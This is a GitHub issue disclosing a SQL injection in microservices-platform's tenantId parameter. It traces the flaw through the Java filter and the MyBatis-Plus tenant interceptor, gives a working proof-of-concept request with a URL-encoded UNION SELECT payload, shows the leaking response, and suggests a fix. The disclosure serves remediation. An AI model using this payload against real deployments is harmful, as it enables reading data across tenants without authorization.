Skip to content

SQL Injection in the tenantId parameter of /api-user/menus/findAlls #80

Description

@cyuanb

Summary

microservices-platform contains a confirmed SQL injection vulnerability in the authenticated GET /api-user/menus/findAlls endpoint, where the caller-controlled tenantId is incorporated into the MyBatis-Plus tenant-isolation SQL expression without sufficient validation; an authenticated attacker can inject a read-only UNION query to retrieve database-generated information, potentially bypassing tenant isolation and exposing tenant data or database metadata.

Root Cause

The request filter accepts tenantId directly from the query string and falls back to the request header:

// zlt-commons/zlt-common-spring-boot-starter/src/main/java/com/central/common/filter/TenantFilter.java:29-36
String tenantId = request.getParameter(CommonConstant.TENANT_ID_PARAM);
if (StrUtil.isEmpty(tenantId)) {
    tenantId = request.getHeader(SecurityConstants.TENANT_HEADER);
}
if (StrUtil.isNotEmpty(tenantId)) {
    TenantContextHolder.setTenant(tenantId);
}

CommonConstant.TENANT_ID_PARAM is tenantId. The reviewed code does not type-check the value, resolve it from the authenticated principal, or verify it against an allowlist before placing it in TenantContextHolder.

The tenant handler then returns the context value as a JSQLParser expression:

// zlt-commons/zlt-db-spring-boot-starter/src/main/java/com/central/db/config/TenantAutoConfigure.java:31-36
@Override
public Expression getTenantId() {
    String tenant = TenantContextHolder.getTenant();
    if (tenant != null) {
        return new StringValue(TenantContextHolder.getTenant());
    }
    return new NullValue();
}

MybatisPlusAutoConfigure adds the tenant-line interceptor when tenant isolation is enabled:

// zlt-commons/zlt-db-spring-boot-starter/src/main/java/com/central/db/config/MybatisPlusAutoConfigure.java:55-63
MybatisPlusInterceptor mpInterceptor = new MybatisPlusInterceptor();
boolean enableTenant = tenantProperties.getEnable();
if (enableTenant) {
    CustomTenantInterceptor tenantInterceptor = new CustomTenantInterceptor(
            tenantLineHandler, tenantProperties.getIgnoreSqls());
    mpInterceptor.addInnerInterceptor(tenantInterceptor);
}
// zlt-business/user-center/src/main/java/com/central/user/controller/SysMenuController.java:124-128
@GetMapping("/findAlls")
public PageResult<SysMenu> findAlls() {
    List<SysMenu> list = menuService.findAll();
    return PageResult.<SysMenu>builder().data(list).code(0).count((long) list.size()).build();
}

// zlt-business/user-center/src/main/java/com/central/user/service/impl/SysMenuServiceImpl.java:77-82
@Override
public List<SysMenu> findAll() {
    return baseMapper.selectList(
            new QueryWrapper<SysMenu>().orderByAsc("sort")
    );
}

The complete source-to-sink explanation is:

HTTP tenantId
  -> TenantFilter
  -> TenantContextHolder
  -> TenantAutoConfigure.getTenantId()
  -> MyBatis-Plus tenant-line interceptor
  -> sys_menu tenant predicate
  -> JSON response from /api-user/menus/findAlls

POC

Request

GET /api-user/menus/findAlls?tenantId=x%27+UNION+ALL+SELECT+0%2C0%2CDATABASE%28%29%2CDATABASE%28%29%2CDATABASE%28%29%2CDATABASE%28%29%2C1%2C1%2C0%2CDATABASE%28%29%2C0%2CNOW%28%29%2C%272026-07-30+00%3A00%3A00 HTTP/1.1
Host: localhost:37683
User-Agent: curl/7.81.0
Authorization: Bearer nx7NydootiWxH68pooO_nnbEYBxmO6zbw5Xtqh_pIvll6x4nR9CH8aJNKrYe7Za3oUjyVFP1cSs1ebJpGWOEAgO2EZnH73lH7FHNk3GKA8_TQWj0MTdLhfe-02CakeQG
Accept: application/json

Response

HTTP/1.1 200 
Server: nginx/1.31.2
Date: Thu, 30 Jul 2026 09:35:18 GMT
Content-Type: application/json
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Referrer-Policy: no-referrer


{"count":1,"code":0,"data":[{"id":0,"createTime":"2026-07-30T09:35:18.000+00:00","updateTime":"2026-07-29T16:00:00.000+00:00","parentId":0,"name":"user-center","css":"user-center","url":"user-center","path":"user-center","sort":1,"type":1,"hidden":false,"pathMethod":"user-center","creatorId":0,"subMenus":null,"roleId":null,"menuIds":null}]}

Impact

An authenticated caller who can invoke the user-center menu endpoint can alter the tenant predicate and evaluate read-only SQL expressions in the response.

Suggested Fix

Derive the tenant identifier from the authenticated server-side context and pass only a typed, allowlisted value into the tenant interceptor; never convert raw request text into a SQL expression. Apply the same boundary to tenantId and x-tenant-header and add regression tests that assert quotes, UNION, comments, and encoded variants cannot alter the generated query.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions